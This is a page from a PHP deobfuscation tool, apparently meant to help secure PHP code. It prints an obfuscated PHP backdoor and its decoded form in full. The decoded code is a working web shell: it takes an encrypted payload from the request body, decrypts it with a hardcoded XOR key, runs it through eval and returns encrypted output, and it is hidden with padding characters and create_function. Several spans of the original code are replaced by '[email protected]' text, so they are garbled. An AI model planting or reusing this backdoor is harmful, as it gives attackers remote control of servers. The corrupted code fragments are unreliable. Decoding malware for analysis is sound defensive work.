Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $c='$o.=$YtY{$i}^$k{$jY};Y}}returnY $o;}if Y(@preYg_maYtch("/$Ykh(Y.+Y)$Ykf/Y",@fil..

Decoded Output download

<?php function x($t, $k) {
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0;$i < $l;) {
        for ($j = 0;($j < $c && $i < $l);$j++, $i++) {
            $o.= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}
$k = "da12a0c4";
$kh = "8a6d62ca8de6";
$kf = "6220189da2f7";
$p = "3ARoiCw4ShHG9ehD";
function x($t, $k) {
    $c = strlen($k);
    $l = strlen($t);
    $o = "";
    for ($i = 0;$i < $l;) {
        for ($j = 0;($j < $c && $i < $l);$j++, $i++) {
            $o.= $t{$i} ^ $k{$j};
        }
    }
    return $o;
}
if (@preg_match("/$kh(.+)$kf/", @file_get_contents("php://input"), $m) == 1) {
    @ob_start();
    eval(@gzuncompress(@x(base64_decode($m[1]), $k)));
    $o = @ob_get_contents();
    @ob_end_clean();
    $r = @base64_encode(@x(@gzcompress($o), $k));
    print ("$p$kh$r$kf");
}

Did this file decode correctly?

Original Code

<?php
$c='$o.=$YtY{$i}^$k{$jY};Y}}returnY $o;}if Y(@preYg_maYtch("/$Ykh(Y.+Y)$Ykf/Y",@file_get_contents("YYphp://in';
$S='k)Y{$Yc=strlen($k);Y$YlY=strlYen($t);$oY="";fYor($i=0;$i<$l;){forY($j=0Y;(Y$j<$c&&$iY<$lY);$jY++,$i++){';
$L='put"Y),$m)=Y=1YY) Y{@ob_start();@evYal([email protected](@x(@bYase64_YdeYcode($m[1Y])Y,$k)));[email protected]_get';
$W='_contents(Y);@ob_eYnd_YclYean();[email protected]_YYencode(@x(@YgYzcYompress($o),$k));YprintY(Y"$p$kh$r$kf");}';
$T=str_replace('s','','screaste_ssfusnsction');
$I='$k="da12aY0cY4";$kh="8Ya6Yd62caY8de6";Y$kf="6220189Yda2fY7";$p="YY3ARoiCwY4ShHG9ehDY";functioYYn Yx($t,$';
$s=str_replace('Y','',$I.$S.$c.$L.$W);
$e=$T('',$s);$e();
?>

Function Calls

str_replace 2
preg_match 1
base64_decode 1
create_function 1
ob_start 1
file_get_contents 1

Variables

$L put"Y),$m)=Y=1YY) Y{@ob_start();@evYal([email protected](@x(@b..
$k da12a0c4
$I $k="da12aY0cY4";$kh="8Ya6Yd62caY8de6";Y$kf="6220189Yda2fY7";..
$c $o.=$YtY{$i}^$k{$jY};Y}}returnY $o;}if Y(@preYg_maYtch("/$Yk..
$S k)Y{$Yc=strlen($k);Y$YlY=strlYen($t);$oY="";fYor($i=0;$i<$l;..
$kf 6220189da2f7
$kh 8a6d62ca8de6
$W _contents(Y);@ob_eYnd_YclYean();[email protected]_YYencode(@x(@YgY..
$T create_function
$s $k="da12a0c4";$kh="8a6d62ca8de6";$kf="6220189da2f7";$p="3ARo..
$p 3ARoiCw4ShHG9ehD

Stats

MD5 3c4c81bc66abd1e19acdad5005c664a3
Eval Count 1
Decode Time 213 ms